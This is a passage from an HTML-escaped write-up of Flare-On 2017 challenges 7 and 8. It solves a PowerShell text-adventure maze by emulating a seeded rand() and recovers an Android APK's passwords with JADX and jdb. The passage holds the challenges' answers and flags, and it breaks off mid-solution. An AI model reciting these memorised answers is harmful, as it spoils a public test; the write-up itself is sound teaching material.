style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;u&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;:&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;d&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; }
&lt;&#x2F;span&gt;&lt;span&gt;directions = &amp;quot;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;d = key_desc.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;split&lt;&#x2F;span&gt;&lt;span&gt;()[-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;prefix = []
&lt;&#x2F;span&gt;&lt;span&gt;i = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    valid = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;False
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;key_directions.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;keys&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;        temp = directions + key_directions[c]
&lt;&#x2F;span&gt;&lt;span&gt;        desc = d.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;replace&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;, &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;%3D&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;        p = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;send&lt;&#x2F;span&gt;&lt;span&gt;(temp, desc)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;p:
&lt;&#x2F;span&gt;&lt;span&gt;            directions = temp
&lt;&#x2F;span&gt;&lt;span&gt;            p, s = p.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;split&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;            prefix.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(p)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[!] dir=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;#39; prefix=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&amp;#39; next=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;...&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % (directions, &amp;#39; &amp;#39;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;(prefix), s[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;]))
&lt;&#x2F;span&gt;&lt;span&gt;            d = s
&lt;&#x2F;span&gt;&lt;span&gt;            valid = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;not valid:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;    i+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And we start getting the beginning of the path:
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;304507dabd5f847b7beafec89b19e225540db7649cedfc0e2ebe4703df14a06b.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;304507dabd5f847b7beafec89b19e225540db7649cedfc0e2ebe4703df14a06b.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;directions =&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;wnneesssnewne&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;prefix = &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;You can start to make out some words but you need to follow the&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;second-part-of-the-directions&quot;&gt;Second part of the directions&lt;&#x2F;h3&gt;
&lt;p&gt;By following the directions found above, we end up in the “infinite maze of
cubicles”
(&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;750558c5ed49c291e50dc460821e8e09#file-decoded-ps1-L148&quot;&gt;confirmed by the PowerShell script&lt;&#x2F;a&gt;). The
cubicles are linked through random connections to one another. To find the way,
we must be able to predict the
generation. At
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;750558c5ed49c291e50dc460821e8e09#file-decoded-ps1-L431-L432&quot;&gt;line 431&lt;&#x2F;a&gt; we
see that if we transfer the key (located in the desk drawer), the script will
trigger a call to &lt;code&gt;srand(42)&lt;&#x2F;code&gt;. The implementation of &lt;code&gt;msvcrt::rand()&lt;&#x2F;code&gt; is an
known algorithm that goes along the lines of&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;seed = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;42
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;global &lt;&#x2F;span&gt;&lt;span&gt;seed
&lt;&#x2F;span&gt;&lt;span&gt;    new_seed = (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x343fd &lt;&#x2F;span&gt;&lt;span&gt;* seed + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x269ec3&lt;&#x2F;span&gt;&lt;span&gt;) &amp;amp; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;) - &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    randval = (new_seed &amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;) &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x7fff
&lt;&#x2F;span&gt;&lt;span&gt;    seed = new_seed
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;randval
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which now makes the path predictable, and we get the final directions:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;directions += &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ewwwdundundunsuneunsewdunsewsewsewsewdun&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;final-wrap-up&quot;&gt;Final wrap-up&lt;&#x2F;h3&gt;
&lt;p&gt;If we now follow the entire directions found above &lt;code&gt;wnneesssnewne&lt;&#x2F;code&gt; +
&lt;code&gt;ewwwdundundunsuneunsewdunsewsewsewsewdun&lt;&#x2F;code&gt;, we get the final message
&lt;code&gt;RIGHT_PATH!@66696e646b6576696e6d616e6469610d0a&lt;&#x2F;code&gt;, so the complete answer to the
maze is&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;directions =&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;wnneesssnewneewwwdundundunsuneunsewdunsewsewsewsewdun&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;prefix = &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;You can start to make out some words but you need to follow the RIGHT_PATH!@66696e646b6576696e6d616e6469610d0a&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But still no flag. The hex-encoded block right next to &lt;code&gt;RIGHT_PATH&lt;&#x2F;code&gt; says to:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;66696e646b6576696e6d616e6469610d0a&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;findkevinmandia&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By going back to the Powershell script using Powershell ISE, we notice that the
only place Kevin is mentioned is in the function &lt;code&gt;Invoke-Say()&lt;&#x2F;code&gt;. We then seek the function
&lt;code&gt;Invoke-Say()&lt;&#x2F;code&gt; and force the &lt;code&gt;if&lt;&#x2F;code&gt; branch to be taken by setting the &lt;code&gt;$helmet&lt;&#x2F;code&gt;
variable to not None, and the &lt;code&gt;$key&lt;&#x2F;code&gt; to the path we found:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;perl&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-perl &quot;&gt;&lt;code class=&quot;language-perl&quot; data-lang=&quot;perl&quot;&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;key &lt;&#x2F;span&gt;&lt;span&gt;= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;You can start to make out some words but you need to follow the RIGHT_PATH!&lt;&#x2F;span&gt;&lt;span&gt;@&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;66696&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;e646b6576696e6d616e6469610d0a&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;helmet &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then execute only this portion of code to see:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;dededfb9d354408d37fab58d50b62856c51ef5a3326ab05a42470df936f6dbf1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;dededfb9d354408d37fab58d50b62856c51ef5a3326ab05a42470df936f6dbf1.png&quot;

    

    
    title=&quot;image_alt2&quot;
    alt=&quot;image_alt2&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Which unhexlified gives the flag:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;6d756464316e675f62795f7930757235336c706840666c6172652d6f6e2e636f6d&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;decode&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;mudd1ng_by_y0ur53lph@flare-on.com
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-8&quot;&gt;Challenge 8&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-7&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;You seem to spend a lot of time looking at your phone. Maybe you would finish a mobile challenge faster.
&lt;&#x2F;span&gt;&lt;span&gt;I want to play another game with you, but I also want you to be challenged
&lt;&#x2F;span&gt;&lt;span&gt;because you weren&amp;#39;t supposed to make it this far.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-7&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;This really fun challenge offers an Android APK
file, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!xFoXkTRa!L3h7J_copL4NuA3pEW0bR5Acrz7LeLXVFTV2sb_Ha08&quot;&gt;&lt;code&gt;flair.apk&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. The static analysis was
exclusively done with JADX and I used the awesome GenyMotion + JDB for the dynamic analysis.&lt;&#x2F;p&gt;
&lt;p&gt;This app presents itself as a traditional Android app, &lt;code&gt;com.flare_on.flair&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;638b63ff20d2447bdcf9ca2f7dbf3e9a8800178722580185a0c9c7f86652f707.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;638b63ff20d2447bdcf9ca2f7dbf3e9a8800178722580185a0c9c7f86652f707.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;You can get the final flag by solving the 4 mini challenges:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;1. Micheal
&lt;&#x2F;span&gt;&lt;span&gt;2. Brian
&lt;&#x2F;span&gt;&lt;span&gt;3. Milton
&lt;&#x2F;span&gt;&lt;span&gt;4. Printer
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;1-michael&quot;&gt;1. Michael&lt;&#x2F;h3&gt;
&lt;p&gt;Using &lt;code&gt;JADX&lt;&#x2F;code&gt;, we can reach easily the method &lt;code&gt;simply solve com.flare_on.flair.Michael.checkPassword()&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;ad3a22fa907e8c8185c87b256bfc4fa542c68eb5dfcc508d4ea8620adab9d859.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;ad3a22fa907e8c8185c87b256bfc4fa542c68eb5dfcc508d4ea8620adab9d859.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Which trivially gives us the first answer: &lt;code&gt;MYPRSHE__FTW&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-brian&quot;&gt;2. Brian&lt;&#x2F;h3&gt;
&lt;p&gt;Using &lt;code&gt;jdb&lt;&#x2F;code&gt;, it is possible to break at any location inside a running Android
app. JADX shows that when the validation button is clicked on, the method
&lt;code&gt;com.flare_on.flair.Brian.teraljdknh()&lt;&#x2F;code&gt; is called and checked for success. This
function is a simple &lt;code&gt;memcmp()&lt;&#x2F;code&gt;-like function, so we can break on it and dump
its arguments:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; jdb&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -attach&lt;&#x2F;span&gt;&lt;span&gt; localhost:8700
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; methods &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;com.flare_on.flair.Brian
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;com.flare_on.flair.Brian&lt;&#x2F;span&gt;&lt;span&gt; dfysadf(java.lang.String, int, java.lang.String,java.lang.String)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;com.flare_on.flair.Brian&lt;&#x2F;span&gt;&lt;span&gt; teraljdknh(java.lang.String, java.lang.String)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; stop &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;in&lt;&#x2F;span&gt;&lt;span&gt; com.flare_on.flair.Brian.teraljdknh
&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;when&lt;&#x2F;span&gt;&lt;span&gt; break hits)
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; locals
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Method&lt;&#x2F;span&gt;&lt;span&gt; arguments:
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;v&lt;&#x2F;span&gt;&lt;span&gt; = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;AAAA&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Local&lt;&#x2F;span&gt;&lt;span&gt; variables:
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;m&lt;&#x2F;span&gt;&lt;span&gt; = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hashtag_covfefe_Fajitas!&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We get the answer: &lt;code&gt;hashtag_covfefe_Fajitas!&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-milton&quot;&gt;3. Milton&lt;&#x2F;h3&gt;
&lt;p&gt;In the &lt;code&gt;Milton&lt;&#x2F;code&gt; class, we can see that the input field is not enabled unless the
rating is equal to 4 (i.e. give 4 stars).&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;onClick&lt;&#x2F;code&gt; event will call the method &lt;code&gt;breop(&amp;lt;given_password&amp;gt;)&lt;&#x2F;code&gt;. That method
will compare our input with the result of the call to the function
&lt;code&gt;nbsadf()&lt;&#x2F;code&gt;. &lt;code&gt;nbsadf()&lt;&#x2F;code&gt; does nothing but call &lt;code&gt;Stapler.poserw()&lt;&#x2F;code&gt;.
So let’s break on that with jdb:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;&amp;gt; stop in com.flare_on.flair.Stapler.poserw
&lt;&#x2F;span&gt;&lt;span&gt;(wait for it)
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; main[1] dump intr
&lt;&#x2F;span&gt;&lt;span&gt; intr = {
&lt;&#x2F;span&gt;&lt;span&gt; 65, 32, 114, 105, 99, 104, 32, 109, 97, 110, 32, 105, 115, 32, 110, 111, 116,
&lt;&#x2F;span&gt;&lt;span&gt; 104, 105, 110, 103, 32, 98, 117, 116, 32, 97, 32, 112, 111, 111, 114, 32, 109,
&lt;&#x2F;span&gt;&lt;span&gt; 97, 110, 32, 119, 105, 116, 104, 32, 109, 111, 110, 101, 121, 46
&lt;&#x2F;span&gt;&lt;span&gt; }
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; stop in java.util.Arrays.equals(byte[], byte[])
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The variable &lt;code&gt;intr&lt;&#x2F;code&gt; holds our answer: &lt;code&gt;A rich man is nothing but a poor man with money.&lt;&#x2F;code&gt; Once decoded, we see that &lt;code&gt;Stapler.poserw()&lt;&#x2F;code&gt; is nothing more than a SHA1
checksum function.&lt;&#x2F;p&gt;
&lt;p&gt;So the answer is&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;hashlib
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; hashlib.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sha1&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A rich man is nothing but a poor man with money.&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hexdigest&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;10aea594831e0b42b956c578ef9a6d44ee39938d
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-printer&quot;&gt;4. Printer&lt;&#x2F;h3&gt;
&lt;p&gt;The check in the &lt;code&gt;Printer&lt;&#x2F;code&gt; class takes the same principles than the ones covered
in &lt;code&gt;Milton&lt;&#x2F;code&gt;. After deobfuscation, we can see that the check is also performed
against &lt;code&gt;Stapler.poserw()&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;So use jdb to break and dump the values&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;&amp;gt; stop in java.util.Arrays.equals(byte[], byte[])
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; stop in com.flare_on.flair.Stapler.poserw
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And we get:&lt;&#x2F;p&gt;
